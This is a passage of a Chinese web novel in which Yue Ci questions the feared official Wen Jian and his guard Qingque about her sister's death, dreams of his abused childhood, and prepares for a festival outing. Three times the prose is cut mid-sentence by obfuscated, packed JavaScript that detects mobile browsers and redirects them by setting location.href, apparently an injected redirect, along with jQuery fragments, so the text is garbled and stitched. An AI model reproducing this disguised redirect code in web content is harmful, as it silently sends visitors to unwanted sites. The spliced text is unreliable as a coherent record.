他说:“别生气了,就当是交换,我告诉你一个,你想知道的消息。” 空气中的血腥味越渐浓重,那只牵着她的手冰凉如铁。 月慈重重吐出一口气,觉得自己大概是老毛病犯了,才会主动上手替闻鉴那狗东西处理伤口。 “伤口再崩开的话,就是神仙都救不回你。”她将带血的巾帕丢进铜盆,冷眼看着闻鉴,“说。” 闻鉴起身走到书案前,从抽柜中摸出了几封信件,递给月慈。 月慈狐疑接过,拆开信件的同时,听到闻鉴道:“刘屠户一家,我是在派人保护他们。” 月慈手中一顿,猛地抬头看他。 闻鉴神色平静道:“你应该知道刘百会的真实身份。当年漠北将军出事后,他手下有许多不服判决之人本该被一一处死,但还是被一部分人逃走了。” 他眸光沉了沉,“那个慈悲村里藏着的,可不止他一个。” 月慈却觉得有些不对:“百夫长算不上什么大将,为什么还有人要费力追捕他们?这不就相当于抄了一名高官的家,他底下的仆从跑了几个,却能引得官府发出高额悬赏一样莫名其妙……等等。” 月慈猛地回味过来,顿时感觉脊背蹿起一股冷意。 如果只是单纯的仆从自然是死是活都无所谓,更别说时隔多年还要派人费劲寻找。但……如果仆从知道抄家真相呢? 不只是二舅,很多人都觉得漠北将军是被冤枉的谋反,这其中也一定大有文章。 月慈想起了手中的信。 这几封信纸都是顶好的材料所制,还透着一股淡淡的香味。信上内容所写不多,意思是幕后之人知道了关于刘百会藏身之地的消息,决定派人前去寻找和铲除。 月慈抬眸,狐疑地看着闻鉴:“可我记得漠北将军一事就是你搞的鬼,包括这几封信送到你手中的信,你一个刽子手,怎么会好心保护他们?” 闻鉴随口道:“那如果我说,当初就是我将刘百会他们放走的呢?” 月慈心头重重一跳,脑袋好半晌都处于一片空白的状态,直到闻鉴盯着她的眼睛。 补了一句:“你相信我吗?” 他筹谋多年,早已骗过了世人,没想到还会有问出这么一句话的时候,一时只觉得别扭。 看见月慈的神情,心中已有所猜测,嘴角自嘲地漾开一点笑,道:“罢了,信不信的,随你吧。” 月慈知道,闻鉴就是个大骗子。 但他骗人从不解释。 “还有一个问题,如果你回答我,我就信你。” 她之前从未想过要问闻鉴这个问题,一方面在于此人恶名远扬,另一方面在于她坚信自己亲眼所见。 是以,从未想过也许会是另外一种可能。 月慈问:“三年前由安康郡太守送来的女子,我的姐姐月霞,是不是你下令所杀?” 他们之间隔着一张书案。 现在的掌印闻鉴无比脆弱,只要月慈想,就能在得到一个确切的回答后将其一击毙命。 闻鉴只沉默了片刻,反而问她:“报仇之后,你当如何?” 月慈不假思索:“跑不掉,那便死。若活着就回到村里,好好经营我的济世堂。” 闻鉴蹙眉,似是对这个答案不满。 他知道按照月慈的性子,即便知道那个人地位尊贵,难以靠近,但只要是她认定的事,都会拼死将之达成。 可闻鉴不满的是,她所形容的生死里都没有他的存在。 大仇得报后就要抛下他了么? 闻鉴唇角绷直,神色冷了下来,心中如觉抽出数道黑暗的藤蔓,想要以此紧紧缠绕她,哪怕代价是用血肉去灌溉。 他将拳收紧,稳了稳呼吸,不以为意道:“往年被送进飞鸟阁的女子数不胜数,我记性不好,对此没有印象。” 月慈沉默地盯了他一会儿,却是意料之外的平静道:“好,我知道了。” 她转身就走,左侧的肩头透着点血色,是以走路的姿势有点怪异。 直到那道背影推门而离,闻鉴才堪堪收回目光,将手抚上胸膛前的伤口。 心想着,阎王殿前这一趟算是没白走。 这一刺叫他回忆起许多,也看清了许多,从此往后,必然不会轻易放手。 —— 月慈回到屋内,先是在铜镜前呆坐良久,然后才褪去半边衣裳,露出肩头的咬痕。 闻鉴咬的不深,堪堪擦破皮肉流了点血,在葱白的皮肤上留下一道月牙般的痕迹。 面前摆着几个小瓷瓶,月慈对着镜子给伤口上了止血的药。 处理好后,她躺在床上却是盯着头顶柔软垂落的帷幔,难以入眠。最后不堪重负,只能拿银针扎了自己的穴位,强迫自己昏睡过去。 梦里,她站在长长的甬道内,两侧是高耸的红墙,几乎压得人喘不过气来。 昏暗的天,正在落雪,她听到乱糟糟的打骂声,就在不远处的拐角,于是踏着雪靠近,看见红墙下趴着一名衣裳单薄的孩童,他的身边还围着几个人,看衣裳像是宫里面的太监。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098716|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 月慈这才恍然大悟,这里是皇宫。 那些太监神情戏谑,用脚踩在孩童的头上,将他的脑袋埋进雪堆中,咧嘴发出尖利的笑声。 “瞧这孩子,饿了都不知道吃东西,还得咱亲自‘喂’他。” 孩童生满冻疮的手握紧了,一声不吭,也并不挣扎,像是已经习惯了。 另一名太监饶有兴致盯着他匍匐在地的姿势:“还别说,瞧他这样子,可真像一只要死的哈巴狗,让人忍不住想踹上两脚。” 冰雪中弥漫着掩盖不住的恶意,天地寂白,唯有这一角流淌着污秽。 月慈忍不住好奇那个孩童的样貌,她心中有种强烈的直觉,而这种直觉在孩童被人救下后得到验证。 一个约莫四五十,身着绯色宽袖圆领朝服的男人从宫道另一头走了过来,那些太监远远见了他的身影,顿时作鸟兽散。 男人将孩童从雪地中扶起,彼时他已经快要冻死过去,手上和脑袋上流下的血水被冻成坚冰,模糊了他的五官,唯有鼻尖上那点小痣意外的尚且清晰。 月慈呼吸一顿,同时她意识到那个穿着朝服的男人不是别人,正是柳行云。 柳行云叹息一声,将幼年闻鉴抱了起来,无所谓对方身上的污秽,他抱着他朝宫巷一头快步走去,两人的身影渐渐隐没在风雪中。 月慈的眼前模糊了,亮眼的白转瞬而过,天似乎黑了下来。 不对,不是天黑。 她后知后觉自己站在一个地牢内,三个赤条条的男人被捆着双手挂起,他们的嘴巴被针线缝了起来,身上遍布血痕。 他们每个人都被不同花样折磨着,第一个人被人牵着的疯狗啃咬,第二个人的双脚被人强行按进烧红的炭火之中,第三个人的耳朵被割掉又缝在了头顶上,尾椎也被缝了一条狗尾。 没有痛苦的尖叫,只有低低的呜咽,他们眼中流出血泪,只将眼狠狠瞪着对面。 黑暗中安安静静坐着一个人,架着腿,一手撑着脑袋,整个人被黑袍包裹在内,脸也埋没在昏暗的阴影中,只有危险的肃杀之气蔓延周身。 月慈认出被挂起来那几个是先前雪地里的太监,那坐在黑暗中的那人…… 月慈扭头望去,对方似有所感,竟也慢慢转了眸子,似是朝她的方向看了过来。 四目相对的一刹,月慈心中一震,猛地睁开眼坐了起来。她像条濒死的鱼,张着嘴呼哧喘了好几口粗气,心跳才慢慢趋于平静。 她竟然梦到了过去的闻鉴,那个差点死在雪地中的孩童长大后报复了所有曾经欺凌过他的人。 虽然是梦,但月慈觉得确实是闻鉴能做出来的事。 不过……若换做是她也会这么做的。 可柳行云呢,他做错了什么? 闻鉴已经承认杀了柳行云,所以那个叫李尚的家伙只是个幌子,也许像这样的事还发生过很多。 月慈其实对这些并不关心,她从来关心的只有一件事。 闻鉴既然不愿意告诉她真相,没关系,她可以换个人问。 37. 喂我 要找青雀并不难,到了白天,月慈抬头对树枝上初一喊了声:“去把青雀找来。” 初一歪着头,看上去不情不愿,却还是飞走了。 小菊正好在院内修剪花枝,闻言道:“姑娘既想找青雀大人,何不去楼阁。据说前日掌印遭人刺杀受了伤,青雀大人此刻必会守在那呢。” 当日所为皆在楼阁,除了黑鸟卫外没旁人知晓此事。 只是来来往往的大夫都有人瞧见,为了防止引起其他祸端,消息便被封锁,对外只宣称是闻鉴遭人暗算。 闻鉴此人树敌太多,遭人暗算也不是什么稀罕事,怕是只有他死了,才会有人乐得跳起来。 月慈还没开口,倒是那个叫小蝶的接过了这话,笑道:“说起这青雀大人和掌印,你们不觉得他们俩有些奇怪吗?” “奇怪?” 自从上次月慈表露出对闻鉴的厌恶后,这些人议论就不背着她了,反而光明正大地直接谈论起来。 小蝶道:“是啊,要我说这青雀大人对掌印未免太亲近了些,不像是一般主仆,还有掌印也是……” 她脸上难掩刻薄的奚落,低笑起来,“外人都说掌印不近女色,只怕是除了不行外,还有其他癖好吧。” 此人倒是个口无遮拦的,平日里大家关起门来议论便罢了,无非说的都是些外面也在说的闲言碎语,但像这种话,就是借她们几个胆子也不敢说的。 一时间没人应和小蝶。 月慈知道为什么青雀对闻鉴特殊,原本她听了前半句话还在想着懒得参与,但后半句话伴随着刺耳的笑声响起,叫她猛地一下子回想起梦中雪天的宫墙下,那一边挨打边被嘲笑的少年。 于是拧了眉,几乎是下意识开口驳斥:“何人告诉你两人亲近就必是关系有异,不近女色必是龙阳之癖?你既领着飞鸟阁开出的月钱,又在这里搬弄是非,敢情还是你会做人啊。” 几个姑娘都没料到月慈会这么说,脸上都布满了错愕。 小蝶愣了一会儿,大概是这几日的相处下来觉得月慈平和好欺,也不惧怕她什么,眉梢向上一抬,狭长的眸子里透露出几分凶狠的精光。 “你有什么资格说我,你不是也一样,住着掌印赏赐的院子又在背地里说掌印坏话。前几日不知道是谁在背地里骂掌印骂的凶狠,现在偏你来这装什么好人!好赖话全让你一个人说了!” 月慈不甘示弱瞪了回去,扬手便是一巴掌,打得小蝶脑袋歪向一边,懵了。 “确实,我也没资格,但我骂闻鉴的那些话敢当着他的面说,你敢把你方才说的话到他面前说一遍吗!” 尽管所有人都知道闻鉴是个什么样的人,但他们背地说的虽欢,却没一个人敢直接跳到闻鉴的面前说。 这他娘不是找死是什么! 小蝶一时捂着脸噤了声,一副心虚模样。 小菊便上前来拉月慈的手,试图打个圆场:“好了姑娘,别生气了,你还不知道小蝶是个什么样的人吗?她就是心直口快,没有恶意的……” 月慈冷脸甩开了那只手,莫名觉得胸腔里像是有口气被堵了许久似的,想要发泄出来。 扭头冲几人扬声道:“闻鉴是什么样的人不需要你们来议论置喙,哪怕要说,从今以后最好也都避着人,倘若又叫我听见,我的手段也绝不比闻鉴好到哪里去!” 扪心自问,月慈这个伤害闻鉴最多最深之人确实没有资格指责她们,可就像她自己说的,她可以将这些话在闻鉴面前直白的铺开,在闻鉴耳边骂上三天三夜,但别人不行。 小蝶不满地低声嘀咕道:“装什么装,又说自己跟人家没关系,又对人家百般维护,不知道的还以为你是他娘呢。” 小菊扯了她一把:“别说了!” 月慈深吸了一口气。 事情走到如今地步,如果要她和这几人继续相处下去,矛盾只会越来越大,所以干脆一不做二不休。 月慈看着小蝶,声线冷直:“你既如此不满,那就走吧。” 她转眸又望向其他人,“还有你们。反正我就是个粗人,不需要有人在身边伺候,你们既对我不满,那就趁早走人,免得日后彼此见了还犯恶心。” 小蝶倒也破罐子破摔了:“你让走就走啊!你是什么人,凭什么指使我们!” 月慈眉眼忽地一弯,笑却不及眼底:“就凭我敢直呼闻鉴大名,让他对我言听计从,而你们,甚至不敢在他面前抬头。” 她说的是事实,小蝶顿时无话可说,只能咬紧下唇,不敢再造次挑衅。 月慈下意识将闻鉴当成了底气,而自己浑然未觉,只是在将这话脱口而出的那一刻,莫名感到一阵畅快。 原来背后有人是这种感觉,怪不得以前王铁能嚣张地横来走去,个子虽小嗓门却大。 可还没等月慈体会多久,院门外进来一人,忽地泼了她一盆冷水。 青雀那欠揍的声音挤了进来:“月姑娘真是好大的威风啊,照姑娘这意思,以后飞鸟阁上下都要听您的了?” 小蝶闻言,以为青雀是帮自己说话,立马跟着附和道:“就是啊,不知道的还以为掌印怎么了呢,凭什么对她言听计从的。青雀大人,您来的正好,她……” 青雀将剑指在小蝶喉前,她顿时将剩下的话全部咽了回去。 青雀冷声道:“你以为我才刚来吗?” 一句话瞬间击碎了小蝶心底的那点庆幸,她双腿一软,跪了下去,还没等一句“饶命”脱口而出,已然被一剑封喉。 鲜血渐渐蔓延,其她几人都被吓呆,一个个跪在地上噤若寒蝉。 “都记住了,这就是议论掌印的下场。” 明明青雀这话是在对三名侍女所说,但月慈总觉得他也在暗自点她。 示威完,青雀看向月慈,道:“我倒是忘了月姑娘是名大夫,怎么,姑娘这是同情了?” 纵然月慈自己手里也负过几条人命,却也被眼前这一幕吓了一跳,好在很快便平复过来。 平静道:“她不过是嘴碎了些,倒罪不至死。” 青雀收刀入鞘:“任何有损掌印之人之事,都该死。” 好嘛,又在点她。 月慈扫了眼剩下的三人,小菊虽然也爱议论,但比起小蝶的恶意来说,她更像是茶余饭后的八卦,另外两人倒是不常议论。 思及此,月慈也不再多说,她找青雀有事,于是领了人到外面去谈。 走到无人处,青雀连装也懒得装了,一副懒懒散散的模样。 “找我什么事?” 月慈开门见山问:“你可认识月霞?” 青雀睨她一眼:“你想说什么?” 月慈仔细盯着他脸上的神色,见他并无意外的模样,不由蹙眉道:“别装了,我不信你什么都不知道。关于月霞的事,如果你知道些什么……” 她手指攥紧了,涩然开口,“我希望你能告诉我。” 青雀冷嗤道:“我凭什么要告诉你。” 他似乎乐忠于看她焦头烂额却又毫无办法的模样。 “是你听信外界对大人的评价,笃定大人杀了月霞,不去调查,不分青红皂白就要置大人于死地。现在你知道他或许和你姐姐的死无关,我倒想看看像你这种没有心的人,会怎么追悔莫及!” 他脸上凶光毕露,溅落在脸上还未拭去的血迹越发显得可怖起来。 月慈并未被吓到,反而吼了回去:“你他娘的不说出一切要我怎么相信他!” 她一把攥住青雀胸前的衣襟,将他拽近了,死死瞪着他的眼睛,“你必须告诉我真相,这不仅仅是为了我,也是为了闻鉴。我想你也不愿意看到他再受伤了吧。” 要拿捏一个人,首先需要知道他的软肋。对于青雀来说,闻鉴整个人就是他最大的软肋。 青雀眼中迸发出了一股黑沉的恨意,他攥紧了月慈的手腕,想要将她扯开,力道大到在月慈手腕上留下了一圈青紫,可月慈浑然未觉。 她眼中的坚定是一种比恨更为强烈的情感,一时间灼得青雀生出几分茫然。 私以为,将一切和盘托出,或许他家大人就不会整日用命去陪她,但若是就这么坦而告之,他无法确认月慈此人是否值得信赖,不会坏了计划。 僵持不过片刻,最终青雀心里有了答案。 他依旧冷冷将人盯着,却是做出了退步,道:“我所调查到的也没有太多,还需要一段时间。” 眼见月慈皱眉,他又补上一句,“没有骗你,是真的。” 月慈这才舒展了眉头,连带着攥紧他衣襟的手一并松了。 青雀理好衣裳,神色恢复如常,道:“如你所说,我不希望大人再出事,所以我需要跟你约法三章。我会将我调查到的事情如实转告给你,但在真相出来之前,你不许再欺负大人。” 欺负? 月慈没忍住,嘴角扯出了点笑:“你这词用的,我何德何能,能欺负堂堂司礼监的掌印大人。” 青雀皱眉:“你必须向我保证。” 月慈于是敛了笑,露出认真:“行,但我希望你不要花上太多时间。” 两人各有拿捏对方的地方,青雀不怕月慈毁约,转了身便要离开。 —— 闻鉴此次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115874|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受的伤,要比当初月慈在河边发现他时还要重,能捡回一条性命,当真是奇迹。好在这次他并未中那劳什子冥夜毒,因此人尚且清醒,只是以防伤口崩裂,需要卧榻静养。 麻雀按照吩咐,趁这段时间教月慈功夫,而初一日日都会从楼阁衔一颗白色的棋子来,月慈便拿了个碗摆在窗前收着。 不知过去多少日,棋子已过半碗,月慈算着时间差不多了,就让初一衔了压制毒性的药回去给闻鉴。可当日初一又飞了回来,嘴里还衔着她用来装药的小布袋,里面的药也分毫未动。 月慈取下布袋,皱着眉问初一:“这是什么意思?” 初一像是知道寻常黑鸟卫之间的传讯方式月慈看不懂,便扭着脖子朝楼阁的方向振翅鸣叫几声。 月慈沉思片刻,似乎猜到了初一的意思:“你是说,闻鉴想要见我?” 初一扇动翅膀的频率变快了,像是一种肯定。 月慈跟着看向楼阁的方向,隐约能看到顶楼的窗前立着一道人影,但无需辨认清楚,也能猜到对方是谁。 月慈这段时间都不想看见闻鉴,于是收回目光,恹恹道:“我不去。” 又重新让初一衔着布袋,“这药他不吃也得吃,否则我要生气了。” 初一只好又飞了回去。 麻雀站在一旁看了几天,终究是看不懂这两人。 这位月姑娘明明看上去很讨厌大人,恨不得杀之而后快,却是一边痛下杀手,一边又像是舍不得大人真的死了。 至于他家大人,就更是变态了! 对一个要杀自己的人言听计从,简直像是把命当成了玩乐的工具。 麻雀连连摇头,就在这时,月慈忽然问他:“你知道之前在飞鸟阁里伺候的下人都去哪了吗?” 青雀虽答应她有任何线索都会如实相告,但人都是有私心的,她不敢太过信任青雀。 听到这话,麻雀从两人都是变态的思绪中回过神来。 先是狐疑地看了月慈一眼,不明白她为什么突然问这个问题,但想来不是什么秘密,也就没有隐瞒道:“都死了。先前的飞鸟阁原受大人庇护,直到大人一朝失势,里面的人自然都留不得。” 月慈一时怔愣。 这就是麻雀之前说的,若闻鉴死了将会有更多人送命的意思么? 再次望向对面的楼阁时,那道身影已经消失了。 直到夜里,月慈下意识感觉有一道目光落在自己上方,让她迷迷糊糊地睁开眼。 一道黑影立在她的床头,如鬼魅般无声无息。 月慈吓得差点从床上跳起来,但下一瞬,她闻到了熟悉的苦药味。 “闻鉴?” 对方身形未动,只淡淡应了声:“嗯。” 于是月慈起身,想要去点灯,却被人一把扣住了手腕。 朦胧的月光透过窗子,勾勒出男人好看但紧绷的侧颜和唇线。月慈一下子恍了神,从中敏锐察觉到对方情绪不佳,但不知是何原因。 “你……” 月慈还未说完,下一瞬整个人忽地腾空而起,紧接着像枕头似的被丢上了床上,脊背撞到身后冰冷的墙面。 一股无名火又蹿了上来,可还没等她破口大骂,浓烈的药香便欺身而上,将她牢牢包裹在内。 月慈将脑袋抵在墙面,不敢凑前一步,因为闻鉴的脸就在她面前,只要她稍稍往前一毫,似乎就能触碰到什么。 她心脏几乎停了一拍,连呼吸都放缓了,只能感觉闻鉴身上的凉气像是一条阴冷的蛇,顺着她的身体一寸寸地包裹缠绕。 “为什么不来见我?” 冰凉的气息如同毒蛇吐信,幽怨又妒恨。 月慈莫名心虚,伸手抵在闻鉴身前,但顾及对方伤口,却又不敢太过用力,如此一来,倒像是欲拒还迎的挑逗。 好在屋内无灯,闻鉴看不清她脸上的涨红。 “我……”不对啊,她心虚什么! 只要她不虚,虚的就是别人! 月慈为自己壮了底气,道:“你叫我去我就去吗?那我岂不是很没面子。” 她看不清闻鉴脸上的表情,不知他是在生气还是什么别的。 片刻后,闻鉴低低“嗯”了一声:“是我错了,那以后都换我来见你。” 这话怎么听上去怪怪的。 她伸手推了推面前的人,不自然开口:“那你,来找我干嘛?” “吃药。” 月慈:“啊?” 闻鉴终于往后退了些,不知道从哪摸出了那个装了药丸的布袋,递到月慈面前。 “喂我。” 38. 追月节 黑暗中那双眼睛似乎如星辰般闪烁了一下,带着殷切的期盼。 敢情他不吃药是等着她来喂呢。 月慈忽然感觉自己心不跳了,扯直了唇角:“……闻鉴,我是不是太给你脸了。” 闻鉴似乎不解,好看的眉毛郁结皱起:“可你之前都是这样做的。” 月慈:“。”她有吗? ……好像还真他娘有。 月慈恶狠狠拿过布袋:“你的意思是,我不喂你就不吃是吧。” 闻鉴没吭声,只在黑暗中用一双晦暗的眼睛将她望着。 月慈道:“那就别吃了。”她随手将布袋丢进角落。 直到闻鉴依旧安安静静坐在黑暗中,沉默了好半晌,月慈才有些后知后觉。 她这算欺负他吗? 虽然眼前人未必是她的仇人,但“欺负”他这件事,似乎已经成为了一个习惯。 月慈摸摸鼻尖,品出了几分微妙。 吃不吃药,对闻鉴来说都没什么区别,只是他从中察觉到了什么,慢悠悠问:“你在生气,为什么?” 月慈不是个太过于扭捏的人,她喜欢有话直说,有事直做,但闻鉴却一而再,再而三地欺瞒她。 她不喜欢这种感觉,干脆坦言道:“因为你有事瞒着我。” 闻鉴沉默了。 他和月慈不一样,并不是个坦率的人,不能做到随心所欲。 月慈此刻恨极了他的沉默,干脆一拳砸在他肩头,厉声呵道:“说话!你他娘的又哑巴了吗!?” 见闻鉴依旧不吭声,她发狠地想要砸向他的伤口,对方却在此时陡然出声。 道:“如果我不是杀你姐姐的真凶,你所规划的未来里,会不会也将我带回去?” 月慈怔住,手还停在半空。 她不明白闻鉴为什么会突然问出这样荒唐的问题,却是意料之外的没有直接反驳。 “我不知道。”月慈声音有点抖。 她是真的不知道答案,因为以前从未设想过这种可能。 于是闻鉴恍然一笑:“那等你能回答出这个问题的时候,我再告诉你一切。” 等你也能看清自己的时候。 黑影撤去,鼻尖的药香变淡了些。 月慈回过神,知道闻鉴要走了,未曾想动作比脑子更快,先一步拽住了他的手。 那只微凉如玉的手。 闻鉴回眸望了过来时,感觉有东西抵在了唇前。 “张嘴。”那声音不容抗拒道。 黑暗中,闻鉴眉眼弯了弯,乖乖张开嘴,将那药丸含进嘴里。 月慈感觉有什么柔软的,湿热的东西舔过自己的手指,脑子空白了一瞬才反应过来。 她一把扯过被子,下了逐客令:“吃完药了就滚吧,我要休息了!” 闻鉴身形未动,没有要离开的意思,依旧如鬼魅般立在床头。 被盯了好半晌,月慈终于忍不了了,从被窝中炸起身,气恼道:“你还要干嘛!” 闻鉴凉声道:“过段时间,我继续教你袖箭。” 月慈打了个哈欠:“你好好养你的病,折腾什么啊。” 他沉默了一会:“那我就去把麻雀阉了。” 他转身就要走。 “随便你……” 等等,不对! 月慈方才没听清,等回过神来后立马跳下床去抓闻鉴,但因为太过昏暗,不小心撞到桌角把脚给磕了,原地倒抽了一口凉气。 闻鉴便在这时候转过身,轻轻松松将她提了起来,放在旁边的桌上。 月慈看闻鉴的视野一下子变成了居高临下,而闻鉴将手撑在两侧,一声不吭地抬头,与她静静对望。 月慈从未见过这个角度下的闻鉴,不同于以往的阴鸷,那双眼睛意外的明亮,还带着点孩子般的稚嫩,只是眉宇间挂着乌云。 像是一个正在小发雷霆的孩子,叫月慈想起了那个坐在饭桌上跟她怄气,便只吃饭不吃菜的人。 甚至,过去和现在的气味都是一样,浓重的苦药味。 闻鉴盯着她的眼睛,面上看着平静从容,语气却重,一字一顿,如同一把森寒的骨刀,贴着月慈的面颊:“你是想替麻雀求情?” 月慈从来不怕他的锋利,反而稍稍俯低一些,更加贴近他的冰冷,像是执意要和他对冲。 便道:“是。好端端的你发什么疯?麻雀又没有犯错,你,你凭什么要把人家那什么。” “因为他让我不高兴了。”闻鉴飞快接道,眉间阴郁未消。 “那我让你高兴了吗?”月慈反问,伸出一根手指不轻不重抵着他胸前的伤,“你现在身上的疼有一半都是我带给你的,你也该是恨我的。” “可我觉得这样,很好。”冰雪消融,他像是忽地泄了气,语气也疲软下去,只顺势将脑袋埋在月慈身前。 月慈被这骤然的举动吓得身子一僵,乍一看像是没有拒绝,任由他靠着。 她听到他的声音,闷闷的,不似先前那般锋利,倒有些沉重的钝觉。 “只有疼痛才能让我觉得,我是活着的,而非一个……” 他说到这便停顿,不再继续往下了。 月慈感觉那颗脑袋在自己怀里蹭了蹭,毛茸茸的头发拂过她的下巴,挑起一阵痒意,连带着心的位置似乎也被那柔软的发蹭了一下。 便像是池中鱼受到了惊吓,猛然一跃而起,在平静的湖面溅起一圈圈涟漪。 原本想要推开的动作变成了犹豫,于是算是默认了他的举动。 —— 翌日麻雀不知是领了什么令,不再手把手教月慈招式,只是让她做一些增强体魄和反应力的训练。偶尔他的手想要来扶月慈一把,站在枝杈上的初一便会扯着嗓子大喊,把他吓得将手缩回。 想来这家伙的命根子是保住了,但还是被人警告了一番。 月慈往楼阁的方向扫去一眼,却没看见人。 她头上顶着一个水碗,两只手上分别挂着一袋沙,正扎着马步,不敢乱动,只能用眼瞥向离她几尺远的麻雀。 问:“你家大人呢?” 麻雀规规矩矩道:“进宫了。” 月慈面露诧异:“他都那样了还要进宫么?” 狗皇帝压榨人啊。 麻雀道:“过几日是追月节, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132749|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫中要举办团圆宫宴,掌印事务繁忙,不得不去处理。” “追月节……”月慈稍微出神,身形微晃,头顶满满当当的水碗顷刻间溢出不少,浇得她打了个激灵,连带着手上的负重也撑不住了,瞬间像只失去平衡的大鹅,摇摇晃晃往前栽去。 麻雀往前奔了两步,正欲伸手扶住月慈,又蓦然想起闻鉴的交代,瞬间将手收了回去,眼睁睁看着月慈摔倒在地,好半晌都没动弹。 初一又扯着嗓子叫了起来,但这次不是警告,而是嘲笑。 麻雀尴尬地半蹲在月慈面前:“那个……月姑娘,你没事吧。” 月慈:“。” 她抬起头,故作淡定,“没事啊,不就摔一跤么。” 麻雀盯着她的脸,沉思片刻:“月姑娘,你的鼻子……流血了。” 眼看着那张脸瞬间多云转阴,眼见着就要下暴雨,麻雀试图挽救一下。 连忙道:“掌印说了!京都城中的追月节尤其热闹,姑娘若是想去,只需在黑鸟卫的陪同下就能出门!” 月慈表情古怪地顿了一下:“照你这么说,追月节那天闻鉴不回来了?” 麻雀点了下头:“今日就先练到这吧,姑娘若有其他需要的,尽管吩咐。” 说完一溜烟跑得飞快,生怕再晚一步自己就会小命不保。 他们练习时几个侍女就在前院待着,见麻雀离开,小菊才来寻月慈,见她脸上挂着血,吓得立马递过帕子来,又说要去喊大夫。 月慈拉住她:“不用麻烦,我自己就是大夫。” 流鼻血对月慈来说只是再小不过的伤,随意处理一番后,她坐在院子内,想到了追月节。 这个节日又叫团圆日,取阖家团圆之意。可惜她父母早亡,姐姐也已不在人世,唯一的亲人就只有二舅和舅母了。 那十一封信纸月慈看过许多遍,知道二舅他们过的还好,心中便宽慰许多。按理说她该去信一封,报个平安才是,可思来想去不知如何开头,又唯恐给他们徒增担忧。 原本要去云城的姑娘突然进了京都,还住在飞鸟阁里,她二舅要是知道,大概能连夜奔袭京都来,一把火把这给点了。 不对,如果二舅真的知道漠北将军一事的隐情,那么京都对他来说就是最危险的地方。 月慈压下思念,不敢再动心思,心想着,还是等联系到宣哥那边再说吧。 只不过这几次的信件总石沉大海,叫她禁不住怀疑些什么。 闻鉴这段时日应该是真的忙,甚至连回飞鸟阁的时间都没有,楼阁上已经有好几日都没出现过人了。他一消失,连带着青雀也不见,追月节月慈出府的事就交由麻雀全权安排。 难得能出一趟门,月慈当然不会放过这次机会,然而当她看着面前排成两列的黑鸟卫时,她迟疑了。 “一定得这样才能出门?”她看向旁边穿着黑衣,把自己包裹得严严实实的麻雀。 麻雀点头道:“是。飞鸟阁外危机四伏,大人说了,要姑娘在黑鸟卫的陪同下才能出门。” 说完,他从身后掏出了一个瓷白的鎏银面具和一个帷帽,“这也是为了姑娘的安全着想。” 39. 烟火 月慈曾遭人追杀过,迄今为止她也不知道除了青雀外,还有谁一定要自己的命。 也许是仇怨闻鉴的人,同时也将矛头放在她身上。 月慈接过面具,道:“有这个就行了,其他人就撤了吧。带这么多人岂不是明摆着告诉敌人我在这快来杀我,更何况今日是追月节,再怎么着,他们也不敢光明正大直接在热闹的京都街上就动手吧。” 麻雀一想,好像是这么个理,但还是坚持带上一两人,权当暗中保护,又不算违抗了闻鉴的命令。 京中繁华,人声鼎沸,万灯明如白昼,条条街道如光河汇海,是月慈从未见过的热闹景象。她身处于人世洪流之中,能见到万般景象,譬如面前经过的一家三口,父母一人一边牵着孩子的手,被孩子拉拽着要去猜花灯时,脸上全是笑意。 又譬如站在面具摊贩前的小情侣,两人戴着面具面对面地触了对方的鼻尖,虽未露面,却更显得暧昧。 月慈下意识也摸了摸自己的鼻尖,忽然想起那晚闻鉴凑近时,似乎鼻尖也触碰到了对方的…… 不,不对,你在想什么呢月慈! 她想拍拍自己的脸,却只拍到了冰凉的面具。 麻雀就跟在月慈后方,见她停下不走,又是拍自己又是絮絮叨叨的,以为是出了什么事,便急忙上前,低声问:“出什么事了?” 思绪瞬间回笼,月慈被突然蹿出来的麻雀吓了一跳。好在有面具掩着,看不清她涨红的脸。 她随手指着旁边正在敲锣打鼓的人,转移注意道:“你既过来了,就陪我去玩那个吧!” 麻雀吓得抖了三抖。 让他陪月慈玩,回去还不得被掌印扒了皮? 然而不等他拒绝,月慈已经拽着他的衣袖跑了过去。 这边搭了个台子,台子上分别有四重帘子,那敲锣打鼓的人见吸引来了不少人,便放下手里的锣,给众人介绍。 “各位!此乃双人同携,需两人一组参与,一人藏于帘后只露出一只手,另一人需在四人中选择,若仅凭手便能选出自己的同伴,即可通关,获得月游灯一盏,花笺一对!” 月慈:“……”今天不是追月节吗,怎么整的像七夕一样。 她转身要走,“走吧麻雀,换别的。” 那高台上的人却一眼看到了人群中戴着面具的月慈,一手指了过来,嗓门大到可媲美锣鼓。 “这位戴着面具的姑娘可是害羞了?胆子大些嘛,难得今日是追月节,一年也该壮一回胆子!” 月慈:“?”她害羞,胆小? 